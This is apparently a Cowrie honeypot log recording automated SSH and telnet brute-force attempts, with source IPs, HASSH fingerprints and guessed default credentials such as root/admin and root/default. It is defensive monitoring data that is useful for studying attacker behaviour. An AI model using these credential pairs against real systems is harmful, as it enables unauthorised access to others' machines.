{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:59.062649Z","src_ip":"172.245.43.228","session":"9ce89ac30561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:59.297076Z","src_ip":"172.245.43.228","session":"9ce89ac30561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:59.715613Z","src_ip":"31.40.204.166","session":"dcefdfef4f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.44332671165466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:59.783388Z","src_ip":"152.42.224.71","session":"8ea6cc8bca88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:00.371043Z","src_ip":"172.245.43.228","session":"9ce89ac30561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":58318,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb43596e553","protocol":"ssh","message":"New connection: 172.245.43.228:58318 (10.17.0.5:22) [session: bdb43596e553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:00.438078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:00.446034Z","src_ip":"172.245.43.228","session":"bdb43596e553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:00.512701Z","src_ip":"172.245.43.228","session":"bdb43596e553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:00.785539Z","src_ip":"172.245.43.228","session":"bdb43596e553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58876,"dst_ip":"10.17.0.5","dst_port":23,"session":"5954df2f7867","protocol":"telnet","message":"New connection: 152.42.224.71:58876 (10.17.0.5:23) [session: 5954df2f7867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:01.065816Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:01.862661Z","src_ip":"172.245.43.228","session":"bdb43596e553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":58320,"dst_ip":"10.17.0.5","dst_port":22,"session":"f09b781d3ebc","protocol":"ssh","message":"New connection: 172.245.43.228:58320 (10.17.0.5:22) [session: f09b781d3ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:01.931435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:01.939431Z","src_ip":"172.245.43.228","session":"f09b781d3ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:02.044998Z","src_ip":"172.245.43.228","session":"f09b781d3ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:02.284492Z","src_ip":"172.245.43.228","session":"f09b781d3ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56212,"dst_ip":"159.203.135.109","dst_port":22,"session":"33fe4a42c31e","protocol":"ssh","message":"New connection: 89.223.69.22:56212 (159.203.135.109:22) [session: 33fe4a42c31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:02.854763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:02.870142Z","src_ip":"89.223.69.22","session":"33fe4a42c31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.81738233566284,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:02.877820Z","src_ip":"152.42.224.71","session":"580a2ff3093f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:02.988434Z","src_ip":"89.223.69.22","session":"33fe4a42c31e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alina","message":"login attempt [root/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:03.335563Z","src_ip":"89.223.69.22","session":"33fe4a42c31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:03.361372Z","src_ip":"172.245.43.228","session":"f09b781d3ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":58322,"dst_ip":"10.17.0.5","dst_port":22,"session":"c58151e9b8e8","protocol":"ssh","message":"New connection: 172.245.43.228:58322 (10.17.0.5:22) [session: c58151e9b8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:03.431686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:03.444839Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:03.539702Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:03.773294Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:04.458750Z","src_ip":"89.223.69.22","session":"33fe4a42c31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.71862578392029,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:05.378332Z","src_ip":"152.42.224.71","session":"1d7c9d981828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.57101345062256,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:05.708973Z","src_ip":"152.42.224.71","session":"5a82c6662db0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35258,"dst_ip":"159.203.135.109","dst_port":22,"session":"62637707337b","protocol":"ssh","message":"New connection: 31.40.204.166:35258 (159.203.135.109:22) [session: 62637707337b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:08.985332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:08.997889Z","src_ip":"31.40.204.166","session":"62637707337b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:09.112201Z","src_ip":"31.40.204.166","session":"62637707337b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:09.709144Z","src_ip":"31.40.204.166","session":"62637707337b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:11.093670Z","src_ip":"31.40.204.166","session":"62637707337b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56448,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0d90bef13c","protocol":"telnet","message":"New connection: 152.42.224.71:56448 (10.17.0.5:23) [session: 6c0d90bef13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:13.657176Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e998d69b401d","protocol":"telnet","message":"New connection: 152.42.224.71:56464 (10.17.0.5:23) [session: e998d69b401d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:13.743525Z"}
{"eventid":"cowrie.session.closed","duration":40.67897033691406,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:14.595505Z","src_ip":"152.42.224.71","session":"14ec70c06aae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40584,"dst_ip":"159.203.135.109","dst_port":22,"session":"505ead9725c7","protocol":"ssh","message":"New connection: 31.40.204.166:40584 (159.203.135.109:22) [session: 505ead9725c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:21.087337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:21.092741Z","src_ip":"31.40.204.166","session":"505ead9725c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:21.214504Z","src_ip":"31.40.204.166","session":"505ead9725c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:21.630500Z","src_ip":"31.40.204.166","session":"505ead9725c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:22.784263Z","src_ip":"31.40.204.166","session":"505ead9725c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37072,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f5258eac6c","protocol":"telnet","message":"New connection: 152.42.224.71:37072 (10.17.0.5:23) [session: 96f5258eac6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:23.342425Z"}
{"eventid":"cowrie.session.closed","duration":51.31964421272278,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:23.460253Z","src_ip":"152.42.224.71","session":"9bd6f0c2b147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37076,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bd9721dbaf","protocol":"telnet","message":"New connection: 152.42.224.71:37076 (10.17.0.5:23) [session: 26bd9721dbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:24.518936Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":35640,"dst_ip":"159.203.135.109","dst_port":22,"session":"937844a7a3ec","protocol":"ssh","message":"New connection: 103.173.227.57:35640 (159.203.135.109:22) [session: 937844a7a3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:24.979915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:24.984648Z","src_ip":"103.173.227.57","session":"937844a7a3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:25.218893Z","src_ip":"103.173.227.57","session":"937844a7a3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.907713651657104,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:25.227627Z","src_ip":"152.42.224.71","session":"4f4741ea1e3e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"laguna","message":"login attempt [root/laguna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:25.924003Z","src_ip":"103.173.227.57","session":"937844a7a3ec","protocol":"ssh"}
